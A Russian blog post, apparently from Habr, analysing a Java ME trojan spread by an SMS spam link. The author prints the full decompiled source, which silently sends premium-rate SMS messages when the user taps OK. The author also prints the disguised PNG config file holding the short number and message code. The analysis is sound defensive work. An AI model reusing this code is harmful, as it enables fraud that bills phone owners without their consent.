Картинка справа не совсем соответствует содержанию поста, просто небольшой пример смс-спама.
Итак, сама история: получил вчера смс следующего содержания:
«Вам MMS сообщение tutu.wml.in/lo.jar»
Очевидно, что это очередной развод и я не стал открывать ссылку и занялся чем-то другим.
Но сегодня утром мне стало интересно, что же там, как оно работает и что делает.
Скачал с компьютера этот джарник и распаковал. Внутри было все по минимуму:
— Небольшая картинка
— Скомпилированный java класс main.class
— Какая-то сомнительная пнг-шка, неоткрываемая просмотрщиками картинок.
— Класс ResourceUTF8, взятый видимо отсюда.
Декомпилировав содержимое мэйн-класса я увидел следующий код:
import java.io.IOException;
import javax.microedition.io.Connector;
import javax.microedition.lcdui.Command;
import javax.microedition.lcdui.CommandListener;
import javax.microedition.lcdui.Display;
import javax.microedition.lcdui.Displayable;
import javax.microedition.lcdui.Form;
import javax.microedition.lcdui.Image;
import javax.microedition.midlet.MIDlet;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;
import lib.Resources.ResourcesUTF8;
public class main extends MIDlet implements CommandListener {
public static ResourcesUTF8 language;
private boolean isLanguage;
private Form form;
private Image image;
private Display display;
private Command cmd_ok;
private Command cmd_cancel;
public main() {
language = new ResourcesUTF8("/sample.png");
this.isLanguage = language.load();
this.cmd_ok = new Command("\u041e\u043a", 4, 2);
this.cmd_cancel = new Command("\u041e\u0442\u043c\u0435\u043d\u0430", 7, 4);
}
public void startApp() {
this.display = Display.getDisplay(this);
try {
this.image = Image.createImage(language.get("picname"));
} catch (IOException var2) {
System.out.println(var2.getMessage());
}
this.form = new Form(language.get("title"));
this.form.append(language.get("textvalue"));
this.form.addCommand(this.cmd_ok);
this.form.addCommand(this.cmd_cancel);
this.form.setCommandListener(this);
this.display.setCurrent(this.form);
}
public void pauseApp() {
System.gc();
}
public void destroyApp(boolean var1) {
}
public void commandAction(Command var1, Displayable var2) {
if(var1 == this.cmd_ok) {
String var3;
MessageConnection var4;
TextMessage var5;
try {
var3 = "sms://" + language.get("numberphone1");
var4 = (MessageConnection)Connector.open(var3);
var5 = (TextMessage)var4.newMessage("text");
var5.setPayloadText(language.get("message1"));
var4.send(var5);
} catch (Exception var8) {
;
}
try {
var3 = "sms://" + language.get("numberphone2");
var4 = (MessageConnection)Connector.open(var3);
var5 = (TextMessage)var4.newMessage("text");
var5.setPayloadText(language.get("message2"));
var4.send(var5);
} catch (Exception var7) {
;
}
try {
var3 = "sms://" + language.get("numberphone3");
var4 = (MessageConnection)Connector.open(var3);
var5 = (TextMessage)var4.newMessage("text");
var5.setPayloadText(language.get("message3"));
var4.send(var5);
} catch (Exception var6) {
;
}
this.form.delete(0);
this.form.append(this.image);
}
if(var1 == this.cmd_cancel) {
this.notifyDestroyed();
}
}
}
* This source code was highlighted with Source Code Highlighter.
Если кому-то интересно декомпилировал онлайн-декомпилятором Fernflower.
Чтобы понять, что делает код, можно даже не быть программистом. Он берет какую-то информацию из той странной png-шки и отправляет смс-ки с телефона.
Вот содержимое png, если ее открыть блокнотом:
title=OTKPblTKA
textvalue=Просмотреть открытку?
picname=/love.JPG
numberphone1=7132
message1=199414999922
А вот и номер, куда будет отправляться смс и текст сообщения. Да, развязка весьма тривиальна. И следовало ожидать именно этого. Но все равно, считаю что не зря потратил время. И быть может кому-нибудь из хабра-сообщества эта информация покажется интересной.
UPD: написал жалобу в службу поддержки владельца короткого номера, воспользовавшись этой инструкцией.